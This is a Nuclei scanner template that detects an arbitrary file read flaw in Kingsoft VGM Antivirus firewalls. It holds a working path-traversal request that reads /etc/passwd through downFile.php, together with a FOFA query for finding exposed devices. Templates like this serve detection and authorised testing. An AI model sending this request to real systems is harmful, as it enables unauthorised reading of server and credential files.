kingsoft-vgm-lfi: Kingsoft VGM Antivirus - Arbitrary File Read

id: kingsoft-vgm-lfi

info:
  name: Kingsoft VGM Antivirus - Arbitrary File Read
  author: abbas.heybati
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in Kingsoft Antivirus. An attacker can obtain any file on the server through the vulnerability.
  reference:
    - https://mp.weixin.qq.com/s?__biz=MzkyMjE3MjEyNQ==&mid=2247486073&idx=1&sn=8e61e162262585bb8ce973b61df989b4&chksm=c1f925cbf68eacddfe441b8f1861e88068039712e467fb9bbe91eae31d439286c7147d197b07
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/kongsoft-vgm-antivirus-wall-rce.yaml
  classification:
    cpe: cpe:2.3:a:kingsoft:kingsoft_antivirus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kingsoft
    product: kingsoft_antivirus
    fofa-query: title="金山VGM防毒墙"
  tags: kingsoft,vgm,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/downFile.php?filename=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/force-download"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206e8979cf2a9c6baf234ea606ded7b1a469bec528e05f1867eacaf8cd6a767ef7022100a5270db7964efefafff7ab2400a4fd0886303d007d5375446f63a55e3619b0f2:922c64590222798bb761d5b6d8e72950